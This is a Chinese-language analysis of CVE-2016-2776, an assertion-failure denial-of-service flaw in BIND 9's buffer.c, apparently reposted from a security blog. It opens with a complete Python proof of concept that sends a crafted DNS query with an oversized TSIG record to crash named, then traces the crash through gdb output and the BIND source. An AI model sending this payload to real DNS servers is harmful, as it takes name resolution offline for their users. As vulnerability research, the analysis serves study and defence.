[CVE-2016-2776]BIND 9 ‘buffer.c’拒绝服务漏洞

栏目: 编程工具 · 发布时间: 6年前

内容简介:作者:k0shl 转载请注明出处:https://whereisk0shl.top2018年的最后一个月,一年又要过去了....BIND 9是一款著名的DNS服务端,其中,buffer.c存在一处断言导致的拒绝服务漏洞,在CNVD特地发公告表明BIND 9的拒绝服务漏洞属于高危漏洞,这个漏洞是由于buffer.c中会有一个对于长度的判断,如果我们构造特殊的数据包,加上/0,会导致长度判断不通过,导致BIND 9会进入assert断言处理,从而引发拒绝服务漏洞。下面对此漏洞进行详细分析。

作者:k0shl 转载请注明出处:https://whereisk0shl.top

2018年的最后一个月,一年又要过去了....

漏洞说明

BIND 9是一款著名的DNS服务端,其中,buffer.c存在一处断言导致的拒绝服务漏洞,在CNVD特地发公告表明BIND 9的拒绝服务漏洞属于高危漏洞,这个漏洞是由于buffer.c中会有一个对于长度的判断,如果我们构造特殊的数据包,加上/0,会导致长度判断不通过,导致BIND 9会进入assert断言处理,从而引发拒绝服务漏洞。下面对此漏洞进行详细分析。

PoC:

import socket
import struct

TARGET = ('192.168.200.10', 53)

Q_A = 1
Q_TSIG = 250
DNS_MESSAGE_HEADERLEN = 12


def build_bind_nuke(question="\x06google\x03com\x00", udpsize=512):
    query_A = "\x8f\x65\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01" + question + int16(Q_A) + "\x00\x01"

    sweet_spot = udpsize - DNS_MESSAGE_HEADERLEN + 1
    tsig_rr = build_tsig_rr(sweet_spot)

    return query_A + tsig_rr

def int16(n):
    return struct.pack("!H", n)

def build_tsig_rr(bind_demarshalled_size):
    signature_data = ("\x00\x00\x57\xeb\x80\x14\x01\x2c\x00\x10\xd2\x2b\x32\x13\xb0\x09"
                      "\x46\x34\x21\x39\x58\x62\xf3\xd5\x9c\x8b\x8f\x65\x00\x00\x00\x00")
    tsig_rr_extra_fields = "\x00\xff\x00\x00\x00\x00"

    necessary_bytes  = len(signature_data) + len(tsig_rr_extra_fields)
    necessary_bytes += 2 + 2 # length fields

    # from sizeof(TSIG RR) bytes conforming the TSIG RR
    # bind9 uses sizeof(TSIG RR) - 16 to build its own
    sign_name, algo_name = generate_padding(bind_demarshalled_size - necessary_bytes + 16)

    tsig_hdr = sign_name + int16(Q_TSIG) + tsig_rr_extra_fields
    tsig_data = algo_name + signature_data
    return tsig_hdr + int16(len(tsig_data)) + tsig_data

def generate_padding(n):
    max_per_bucket = [0x3f, 0x3f, 0x3f, 0x3d, 0x3f, 0x3f, 0x3f, 0x3d]
    buckets = [1] * len(max_per_bucket)

    min_size = len(buckets) * 2 + 2 # 2 bytes for every bucket plus each null byte
    max_size = sum(max_per_bucket) + len(buckets) + 2

    if not(min_size <= n <= max_size):
        raise RuntimeException("unsupported amount of bytes")

    curr_idx, n = 0, n - min_size
    while n > 0:
        next_n = max(n - (max_per_bucket[curr_idx] - 1), 0)
        buckets[curr_idx] = 1 + n - next_n
        n, curr_idx = next_n, curr_idx + 1

    n_padding = lambda amount: chr(amount) + "A" * amount
    stringify = lambda sizes: "".join(map(n_padding, sizes)) + "\x00"

    return stringify(buckets[:4]), stringify(buckets[4:])

if __name__ == "__main__":
    bombita = build_bind_nuke()

    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.sendto(bombita, TARGET)
    s.close()

漏洞分析

BIND 9是一款著名的DNS服务端,其中,buffer.c存在一处断言导致的拒绝服务漏洞,在CNVD特地发公告表明BIND 9的拒绝服务漏洞属于高危漏洞,这个漏洞是由于buffer.c中会有一个对于长度的判断,如果我们构造特殊的数据包,加上/0,会导致长度判断不通过,导致BIND 9会进入assert断言处理,从而引发拒绝服务漏洞。下面对此漏洞进行详细分析。

首先部署BIND 9服务,这时候 linux 会开启53端口,gdb附加,发送畸形数据包。

可以看到Payload在Additional records字段中,数据包发送后,gdb会命中断点。

gdb-peda$ run
Starting program: /usr/sbin/named 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
[New process 9722]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
[New Thread 0xb751ab40 (LWP 9723)]
[New Thread 0xb6d19b40 (LWP 9724)]
[New Thread 0xb6518b40 (LWP 9725)]

Program received signal SIGABRT, Aborted.
[Switching to Thread 0xb751ab40 (LWP 9723)]
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x25fa 
ECX: 0x25fb 
EDX: 0x6 
ESI: 0x1 
EDI: 0xb7b23000 --> 0x1a5da8 
EBP: 0x800a3d30 --> 0x800a0d80 --> 0x80072745 ("main")
ESP: 0xb7515a64 --> 0x800a3d30 --> 0x800a0d80 --> 0x80072745 ("main")
EIP: 0xb7fdebe0 (<__kernel_vsyscall+16>:    pop    ebp)
EFLAGS: 0x200206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb7fdebdc <__kernel_vsyscall+12>:   nop
   0xb7fdebdd <__kernel_vsyscall+13>:   nop
   0xb7fdebde <__kernel_vsyscall+14>:   int    0x80
=> 0xb7fdebe0 <__kernel_vsyscall+16>:   pop    ebp
   0xb7fdebe1 <__kernel_vsyscall+17>:   pop    edx
   0xb7fdebe2 <__kernel_vsyscall+18>:   pop    ecx
   0xb7fdebe3 <__kernel_vsyscall+19>:   ret    
   0xb7fdebe4:  int3
[------------------------------------stack-------------------------------------]
0000| 0xb7515a64 --> 0x800a3d30 --> 0x800a0d80 --> 0x80072745 ("main")
0004| 0xb7515a68 --> 0x6 
0008| 0xb7515a6c --> 0x25fb 
0012| 0xb7515a70 --> 0xb79ab307 (<__GI_raise+71>:   xchg   ebx,edi)
0016| 0xb7515a74 --> 0xb7b23000 --> 0x1a5da8 
0020| 0xb7515a78 --> 0xb7515b14 --> 0x0 
0024| 0xb7515a7c --> 0xb79ac9c3 (<__GI_abort+323>:  mov    edx,DWORD PTR gs:0x8)
0028| 0xb7515a80 --> 0x6 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGABRT

这时候接收到了一个SIGABRT信号,在调用abort后会到达这个位置,从而中止DNS服务,通过bt的方法回溯一下堆栈调用情况。

gdb-peda$ bt
#0  0xb7fdebe0 in __kernel_vsyscall ()
#1  0xb79ab307 in __GI_raise (sig=sig@entry=0x6)
    at ../nptl/sysdeps/unix/sysv/linux/raise.c:56
#2  0xb79ac9c3 in __GI_abort () at abort.c:89
#3  0x8002da86 in ?? ()
#4  0xb7cdb7d5 in isc_assertion_failed () from /usr/lib/libisc.so.95
#5  0xb7cdd931 in isc.buffer_add () from /usr/lib/libisc.so.95
#6  0xb7de784b in dns_name_towire () from /usr/lib/libdns.so.100
#7  0xb7e58b08 in ?? () from /usr/lib/libdns.so.100
#8  0xb7ddf0a0 in dns_message_rendersection () from /usr/lib/libdns.so.100
#9  0x80021417 in ?? ()
#10 0x80021851 in ?? ()
#11 0x80022ac4 in ?? ()
#12 0xb7cfdf0c in ?? () from /usr/lib/libisc.so.95
#13 0xb7caeefb in start_thread (arg=0xb751ab40) at pthread_create.c:309
#14 0xb7a6662e in clone () at ../sysdeps/unix/sysv/linux/i386/clone.S:129

可以看到,在#4位置调用了isc_assertion_failed,随后执行了abort然后vsyscall中止服务,#4位置的assert应该是一处断言错误。来看一下buffer.c的源码部分。

void
isc__buffer_add(isc_buffer_t *b, unsigned int n) {
    /*
     * Increase the 'used' region of 'b' by 'n' bytes.
     */

    REQUIRE(ISC_BUFFER_VALID(b));
    REQUIRE(b->used + n <= b->length);

    ISC__BUFFER_ADD(b, n);
}

在源码中关于isc__buffer_add的描述并没有涉及assert部分,但实际上REQUIRE就是一个断言的函数调用,我们通过IDA来观察这个过程。

首先,当服务端接收到数据包的时候,根据additional records字段会先调用dns_name_towire函数处理名称部分。

isc_result_t
dns_name_towire(dns_name_t *name, dns_compress_t *cctx, isc_buffer_t *target) {
    ……
    dns_name_init(&gp, po);
    dns_name_init(&gs, so);
    isc_buffer_init(&gws, gb, sizeof (gb));

    offset = target->used;  /*XXX*/

    methods = dns_compress_getmethods(cctx);

    if ((methods & DNS_COMPRESS_GLOBAL) != 0)
        gf = dns_compress_findglobal(cctx, name, &gp, &gs, &go, &gws);
    else
        gf = ISC_FALSE;

    /*
     * Will the compression pointer reduce the message size?
     */
    if (gf && (gp.length + ((go < 16384) ? 2 : 3)) >= name->length)
        gf = ISC_FALSE;

    if (gf) {
        if (target->length - target->used < gp.length)
            return (ISC_R_NOSPACE);
        (void)memcpy((unsigned char *)target->base + target->used,
                 gp.ndata, (size_t)gp.length);
        isc_buffer_add(target, gp.length);
    ……
}

这里我取了关键的一部分代码,isc_buffer_add(target, gp.length);这个函数调用就是最关键的调用部分。

我们需要跟踪一下gp的值,实际上target指针指向的buffer就是畸形字符串。gp的值是什么呢。gp的值来自于dns_compress_findglobal函数。

isc_boolean_t
dns_compress_findglobal(dns_compress_t *cctx, dns_name_t *name,
            dns_name_t *prefix, dns_name_t *suffix,
            isc_uint16_t *offset, isc_buffer_t *workspace)
{
    REQUIRE(VALID_CCTX(cctx));
    REQUIRE(dns_name_isabsolute(name) == ISC_TRUE);
    REQUIRE(offset != NULL);

    return (compress_find(cctx->global, name, prefix, suffix, offset,
                  workspace));
}

gp的值是name的prefix部分,随后进入isc__buffer_add中。

int __cdecl isc__buffer_add(int a1, int a2)
{
  int result; // eax@1
  unsigned int v3; // edx@3

  result = a1;
  if ( !a1 || *(_DWORD *)a1 != 1114990113 )
    isc_assertion_failed(
      (int)"buffer.c",
      126,
      0,
      (int)"(((b) != ((void *)0)) && (((const isc__magic_t *)(b))->magic == (0x42756621U)))");
  v3 = *(_DWORD *)(a1 + 12) + a2;
  if ( v3 > *(_DWORD *)(a1 + 8) )
    isc_assertion_failed((int)"buffer.c", 127, 0, (int)"b->used + n <= b->length");
  *(_DWORD *)(a1 + 12) = v3;
  return result;
}

当进入第二个断言错误判断if ( v3 > *(_DWORD *)(a1 + 8) )的时候,我们来看一下这个过程的值,首先a1+8是name结构体中存放name长度的部分。

[------------------------------------stack-------------------------------------]
0000| 0xb74de6b0 --> 0xb74de710 ("nSND\b\020L\265\001")
0004| 0xb74de6b4 --> 0xb7cdd8d6 (<isc__buffer_add+6>:   add    ebx,0x5f0aa)
0008| 0xb74de6b8 --> 0xb7f9fac8 --> 0x22a998 
0012| 0xb74de6bc --> 0xb7de784b (<dns_name_towire+507>: movzx  eax,WORD PTR [esp+0x18])
0016| 0xb74de6c0 --> 0xb54c5040 ("!fuBxQL\265")
0020| 0xb74de6c4 --> 0x1 
0024| 0xb74de6c8 --> 0x1 
0028| 0xb74de6cc --> 0xb74de6e2 --> 0x536e0000 ('')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xb7cdd8f6 in isc.buffer_add () from /usr/lib/libisc.so.95
gdb-peda$ x/10x $eax
0xb54c5040: 0x42756621  0xb54c5178  0x00000200  0x0000000c
0xb54c5050: 0x00000000  0x00000000  0xffffffff  0xffffffff
0xb54c5060: 0x00000000  0x00000000

注意b54c5040+8h的位置部分,存放的是长度,这个长度的获取时根据DNS数据包中字段的值决定的,但是如果这个值碰上/0,则会结束。

所以重新看一下发送的数据包,如果碰上/0,则会满足v3,也就是总长度大于字段中存放长度的时候,进入断言判断,DNS服务被中止。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Python Data Structures and Algorithms

Python Data Structures and Algorithms

Benjamin Baka / Packt Publishing / 2017-5-30 / USD 44.99

Key Features A step by step guide, which will provide you with a thorough discussion on the analysis and design of fundamental Python data structures.Get a better understanding of advanced Python c......一起来看看 《Python Data Structures and Algorithms》 这本书的介绍吧!

MD5 加密
MD5 加密

MD5 加密工具

SHA 加密
SHA 加密

SHA 加密工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具